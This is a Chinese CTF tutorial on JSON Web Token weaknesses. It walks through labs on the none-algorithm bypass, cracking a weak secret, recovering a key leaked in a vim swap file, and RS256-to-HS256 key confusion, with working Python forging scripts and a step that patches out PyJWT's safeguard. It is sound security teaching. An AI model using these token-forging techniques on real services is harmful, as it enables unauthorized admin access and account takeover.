本帖最后由 fatmo 于 2021-2-23 21:35 编辑
本文原创作者fatmo,本文属i春秋原创奖励计划,未经许可禁止转载。
0x00 JSON Web Token简介
JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
简单总结,JSON Web Token(下文以JWT表示)是当下最流行的跨域身份验证问题解决方案。不同于传统的session验证机制,它不需要在服务端去保留用户的认证信息或者会话信息,利于分布式应用的扩展,且天然防御CSRF攻击。
JWT的基本工作流程如下:
- 用户进行登陆操作,将用户名密码提交至服务器
- 服务器接收并验证用户名密码
- 验证通过,服务器向用户发送一串token
- 客户端存储token,在每一次请求时均发送这串token值进行验证
- 服务端验证token值,验证成功则返回数据
0x01 JSON Web Token格式
JWT一共由三部分组成,分别为头部(header),载荷(payload),签证(signature)。
header
header承载两部分信息:
完整的头部信息如下所示:
{
"alg": "HS256",
"typ": "JWT"
}
将头部信息进行base64编码,即可得到第一部分:
ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9
payload
payload承载三部分信息:
1.标准中注册的声明具体如下(不强制使用):
- iss:JWT签发者
- sub:JWT所面向的用户
- aud:接收JWT的一方
- exp:jwt的过期时间
- nbf定义在什么时间之前,该JWT无效
- iat:JWT的签发时间
- jti:JWT唯一的身份标识,主要用来作为一次性token,从而回避重放攻击
2.公共的声明可以添加任何信息,但是不建议添加敏感信息,因为该部分内容是公开的。
3.私有的声明是私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为该部分内容是公开的。
完整的payload实例如下:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
对其进行base64编码,得到第二部分:
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
signature
signature承载着三部分信息,分别为:
- base64编码后的header
- base64编码后的payload
- secret
将base64编码后的header与base64编码后的payload通过符号.相连,然后通过header中声明的加密方式进行加盐secret组合加密,便构成完整的第三部分。
完整的signature实例如下:HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret
)
最后将header,payload,signature通过符号.相连,即构成完整的JWT,如下所示:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
0x02 考点一:将加密算法修改为None绕过加密
node的jsonwebtoken包存在漏洞,当用户传入的token声明加密算法为none时,jsonwebtoken包会尝试使用none解密算法进行解密。当我们构造一个token,其加密算法为none,就可以无视secret越权。
CTF例题
打开kali,依次输入已下命令创建环境:
sudo docker pull gluckzhang/ctf-jwt-token
sudo docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token
1.然后,访问本机8080端口进入题目
题目界面
2.是一个简单的登陆界面,尝试admin:123456弱口令组合进行登陆。登陆失败,网站给出了一组可用的用户名密码。
3.尝试用该组合登陆,登陆成功,网站提示当前为commmon user(普通用户)
4.猜测需要admin权限,burp抓包,发现疑似JWT的token
5.将token放入网站jwt.io进行解码,发现是使用HS256加密的JWT
6.尝试修改加密方式为none绕过加密。使用python的PyJWT库来生成新的JWT。代码如下:
import jwt
payload = {
"auth": 1612215427477,
"agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
"role": "admin",
"iat": 1612215427
}
print(jwt.encode(payload,None,algorithm="none"))
其中,需要将pyload中的role部分修改为admin,并修改jwt.encode的第二个参数为None。
7.在burp中将http包中的token修改为新生成的token并发送,成功越权,得到flag
0x03 考点二:密钥爆破
对于一些复杂度较低的密钥,可以直接使用程序爆破,再伪造token解决
[CISCN2019 华北赛区 Day1 Web2]ikun
buuoj已收录该题,传送门:ikun]ikun
1.进入网站,是一个类似商城的界面
2.网站拥有登陆和注册功能。注册并登陆后发现初始金额为1000
3.根据主页提示,得知需要购买lv6的账号
4.翻了十几页,没有找到lv6的账号,估计其被隐藏在很后面,写个小脚本找出来,代码如下:
import requests
url = "http://e1c46675-ecd4-42c5-b94b-acbbf3b1e8ae.node3.buuoj.cn/shop?page="
for page in range(0, 200, 1):
reqUrl = url + str(page)
req = requests.get(url=reqUrl)
if "lv6.png" in req.text:
print(page)
找到lv6账号位于第181页
5.lv6的账号价格极高,burp抓包看是否由可修改的参数
参数discont很可疑,尝试改成0.0000000001并发送
6.似乎购买成功了,但网页提示只有admin可以访问返回的页面
7.回看http包,发现JWT
8.放入网站解码,payload很简单,只有username一项
9.尝试None绕过失败,使用工具c-jwt-cracker进行爆破
打开kali,依次输入命令安装工具:
git clone https://github.com/brendan-rius/c-jwt-cracker.git
cd c-jwt-cracker/
apt-get install libssl-dev
make
安装成功后使用工具跑完整的token,爆破出密码为1Kun
10.前往网站jwt.io伪造新的JWT,修改username为admin,修改secret为1Kun
11.使用插件EditThisCookie(火狐浏览器)将原token替换为伪造好的token,成功绕过
12.此题后续涉及python的反序列化,非本文重点,感兴趣可前往此处查看
0x04 考点三:密钥泄露
信息泄露是CTF中常见的考点,JWT的密钥可能会泄露于源码等敏感文件中。
BugKu jwt
1.对网站进行目录扫描,得到后缀为.swp的文件,swp为vim编辑器在非正常关闭下生成的文件
2.使用指令vim -r恢复文件,得到源码如下:
<?php
error_reporting(0);
require_once 'src/JWT.php';
const KEY = 'L3yx----++++----';
function loginkk()
{
$time = time();
$token = [
'iss'=>'L3yx',
'iat'=>$time,
'exp'=>$time+5,
'account'=>'kk'
];
$jwt = \Firebase\JWT\JWT::encode($token,KEY);
setcookie("token",$jwt);
header("location:user.php");
}
if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
{
if($_POST['username']=='kk' && $_POST['password']=='kk123')
{
loginkk();
}
else
{
echo "账号或密码错误";
}
}
?>
3.源码中泄露了JWT的密钥为:L3yx----++++----。按照上文所示的伪造方法,伪造JWT,访问页面,得到flag。此处不再赘述。
0x05 考点四:将非对称加密修改为对称加密
JWT的签名算法除了支持非对称的RSA外,还支持对称的加密算法,且我们只需要修改header的alg就可以实现对加密方式的定义。当我们尝试把非对称加密修改为对称加密时,非对称加密的公钥就变成对称加密的私钥,而我们可以获得非对称加密的公钥,此时只需要让后端认为JWT未被篡改,即可伪造。漏洞出自CVE-2017-11424。
以RS256和HS256为例,解释该漏洞的使用方法:
RS256的签名流程是:
HS256的签名流程是:
- 使用密钥对JWT签名
- 使用同一个密钥验证JWT是否被篡改
显然,RS256的公钥可以公开,但HS256的密钥不可以公开。
而利用方法具体为:
- 修改JWT的header,将加密方式从RSA256改为HS256
- 根据我们的需要修改JWT的payload
- 获得RSA256的公钥,对解码后的JWT重新签名
- 发送至服务器,服务器使用HS256算法进行验证,成功绕过
hackergame2020 普通的身份认证器
1.进入网页,发现需要登陆,点击以Guest登陆,尝试获取用户信息,发现需要admin权限
2.网站后端使用的是Fast API框架,那么,尝试访问/docs,发现网站存在docs
3.发现一个可以的路由/debug,尝试访问,返回了公钥
4.使用python的PyJWT库对JWT进行伪造,脚本源码如下:
import jwt
PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n"
payload = {
"username": "admin",
"pk": "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n",
"iat": 1605940233
}
encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256')
print(encoded)
将签名方式改为HS256,使用泄露的公钥进行签名。
5.直接运行会报错,因为PyJWT已经修复了这个漏洞,当PyJWT接收到对称加密的JWT时,会检查密钥开头是否是非对称加密的公钥。
6.我们需要对PyJWT库进行魔改,找到文件\jwt\algorithms.py,将第147至第151行注释
7.注释后成功生成JWT,请求/profile即可得到flag
0x06 总结
JWT在CTF中考点为身份伪造,且常与其他考点进行结合。与信息泄露结合便是密钥泄露问题,与非对称加密结合便是非对称加密转换至对称加密的问题。因此,解决JWT问题,不仅需要掌握JWT的相关知识,还需要掌握与JWT结合的考点。
0x07 参考链接
|